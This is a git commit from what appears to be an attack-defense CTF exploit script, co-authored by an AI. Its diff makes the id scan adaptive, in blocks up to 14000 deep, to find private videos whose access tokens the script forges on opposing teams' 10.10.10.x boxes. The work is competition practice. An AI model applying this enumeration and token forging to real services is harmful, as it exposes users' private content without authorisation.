sploits: адаптивная глубина скана в форже токена
Фиксированная глубина 3000 не работала на быстрых боксах: на 10.10.10.1 id растут >1000/мин, приватные ролики чекера ушли на 12000 вниз от top и сплойт возвращался пустым. Теперь сканируем блоками по 2000 сверху вниз до 14000 и выходим, как только набрали 6 целей -- на медленных боксах это по-прежнему один блок. Проверено: 4 флага с 10.10.10.1 (глубина 12042), 3 с 10.10.10.5 (глубина 1653), на 10.10.10.2 корректно определился патч. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
@@ -16,7 +16,9 @@ USER_AGENTS = [
|
||||
]
|
||||
|
||||
PORT = 5000
|
||||
DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко
|
||||
BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
|
||||
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
|
||||
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
|
||||
WORKERS = 50
|
||||
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
|
||||
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||||
@@ -96,11 +98,19 @@ def exploit(target_ip):
|
||||
except requests.RequestException:
|
||||
return None
|
||||
|
||||
span = range(top, max(0, top - DEPTH), -1)
|
||||
# Скорость роста id сильно разная: где-то 500/мин, где-то за 1000/мин,
|
||||
# и приватные чекера уходят вглубь на тысячи. Идём блоками сверху вниз
|
||||
# и останавливаемся, как только набрали достаточно целей.
|
||||
private = []
|
||||
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
||||
private = [v for v in ex.map(is_private, span) if v]
|
||||
for lo in range(top, max(0, top - MAX_DEPTH), -BLOCK):
|
||||
span = range(lo, max(0, lo - BLOCK), -1)
|
||||
private.extend(v for v in ex.map(is_private, span) if v)
|
||||
if len(private) >= WANT_TARGETS:
|
||||
break
|
||||
private.sort(reverse=True)
|
||||
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}",
|
||||
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)} "
|
||||
f"(глубина до {top - min(private) if private else 0})",
|
||||
file=sys.stderr, flush=True)
|
||||
|
||||
fails = 0
|
||||
|
||||
Reference in New Issue
Block a user